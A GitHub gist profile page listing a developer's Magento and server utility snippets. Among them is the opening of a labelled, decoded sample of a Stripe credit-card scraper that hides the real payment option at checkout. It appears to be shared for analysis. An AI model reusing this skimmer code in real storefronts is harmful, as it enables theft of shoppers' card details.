Skip to content

Instantly share code, notes, and snippets.

View SamJUK's full-sized avatar

Sam James SamJUK

View GitHub Profile
@SamJUK
SamJUK / jumpscare.js
Created October 6, 2024 16:27
Jumpscare
(function() {
const d = new Date();
const isHalloween = d.getMonth() == 9 && d.getDate() == 31;
const isLate = d.getHours() > 21 || d.getHours() < 5;
const hasExecuted = document.cookie.includes('jumpscare');
const applyStyles = (element, styles) => {
Object.entries(styles).forEach(e => element.style[e[0]] = e[1]);
}
@SamJUK
SamJUK / speedsize_test_images.sh
Last active August 19, 2024 15:49
Test Speedsize serving incorrect images
#!/usr/bin/env sh
IMAGE="https://cdn.speedsize.com/52367726-9989-4d4a-be89-5d34aa139dea/static.magrigg.co.uk/media/catalog/product/b/a/barbour_men_s_cirrus_wellingtons_black_5.jpg?width=560&height=739&store=default&image-type=image/w_560"
echo "[i] Fetching Chromium Image"
curl -L $IMAGE \
-H 'accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8' \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'user-agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile Safari/537.36' > chrome.jpg
@SamJUK
SamJUK / warden_install_spx.sh
Last active June 5, 2024 11:22
Warden.DEV SPX Installation
#!/usr/bin/env sh
#
# A fairly simple shell script to install and configure PHP-SPX within a Warden.dev Environment
#
# Usage:
# - Download the script: `curl https://... > ~/warden-install-spx.sh`
# - Set Permissions on the script `chmod +x ~/warden-install-spx.sh`
# - cd to your warden project `cd ~/Projects/magento.test`
# - Run the downloaded script `sh ~/warden-install-spx.sh`
#
@SamJUK
SamJUK / mage_2.3.4_stripe_malware_decoded_prettified.js
Last active May 20, 2024 19:17
Magento 2.3.4 Stripe CC Scraper Malware Sample
void 0 !== window._edge && clearInterval(window._edge),
(window._edge = setInterval(function () {
"undefined" != typeof jQuery &&
jQuery("#stripe_payments").length &&
(jQuery("#stripe_payments").prop("checked", !1).show(),
jQuery(".payment-method.stripe-payments").removeClass("_active"),
function1(),
clearInterval(window._edge));
}, 500));
var encrypt_data = function (e) {
@SamJUK
SamJUK / bookmarklet.js
Created October 29, 2023 09:17
Magento 2 Software Requirements Table Highlighter
javascript:(function() {const samjuk_css_table = 'samjuk-table';const samjuk_css_table_highlight = 'samjuk_css_table_highlight';document.head.insertAdjacentHTML("beforeend", ` <style> .${samjuk_css_table} th { cursor: pointer !important; } .${samjuk_css_table_highlight} { background: #fff0af !important; font-weight: bold !important; } </style>`);document.querySelectorAll('sp-tab[label="Commerce on-premises"], sp-tab[label="Commerce on Cloud"]').forEach(tab => { const panel = tab.parentElement.querySelector('#' + tab.getAttribute('aria-controls')); if (panel === null) { return false; } const table = panel.querySelector('table'); if (table === null) { return false; } table.classList.add(samjuk_css_table); const headers = table.querySelector('thead'); if (headers === null) { return false; } headers.addEventListener('click', (event) => { let version = event.target; Array.from(table.querySelectorAll(`.${samjuk_css_table_highlight}`)).forEach(highlight => { highlight.classList.remove(samjuk_css_table_highlight); })
@SamJUK
SamJUK / z_db_schema_diff.php
Last active June 9, 2023 18:58
Show DB Schema Difference
<?php
#
# Lists the differences between the currently installed Schema and that parsed from db_schema.xml
#
use Magento\Framework\App\Bootstrap, Magento\Catalog\Model\ResourceModel\Product\CollectionFactory;
require __DIR__ . '/app/bootstrap.php';
error_reporting(E_ALL & ~E_NOTICE);
<?php
/**
* Crontab: 0 *\/3 * * * /usr/bin/php /var/www/htdocs/z_missing_invoice_cron.php --commit | mail -s "MagentoStore: Stale Invoice Grid Refresh" email@domain.co.uk
**/
use Magento\Framework\App\Bootstrap;
require __DIR__ . '/app/bootstrap.php';
error_reporting(E_ALL & ~E_NOTICE);
.PHONY: assert_magento_owner deploy css critical cache developer production
.DEFAULT_GOAL := help
#
# Variables
#
EXECUTER=$(shell whoami)
MAGE_OWNER=$(shell stat -c '%U' bin/magento)
#
@SamJUK
SamJUK / nginx-config.py
Created January 31, 2022 23:55
Nginx Config Helper
#!/usr/bin/env python3
#
# This script creates one big nginx config, squashing any includes into a single output.
#
import re
import glob
import nginxfmt
import argparse
@SamJUK
SamJUK / z_uncancel.php
Created December 8, 2021 14:55
Uncancel Magento Orders
<?php
use Magento\Sales\Model\Order;
ini_set('display_errors', 1);ini_set('display_startup_errors', 1);error_reporting(E_ALL);
require __DIR__ . '/app/bootstrap.php';
$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $_SERVER);
$objectManager = $bootstrap->getObjectManager();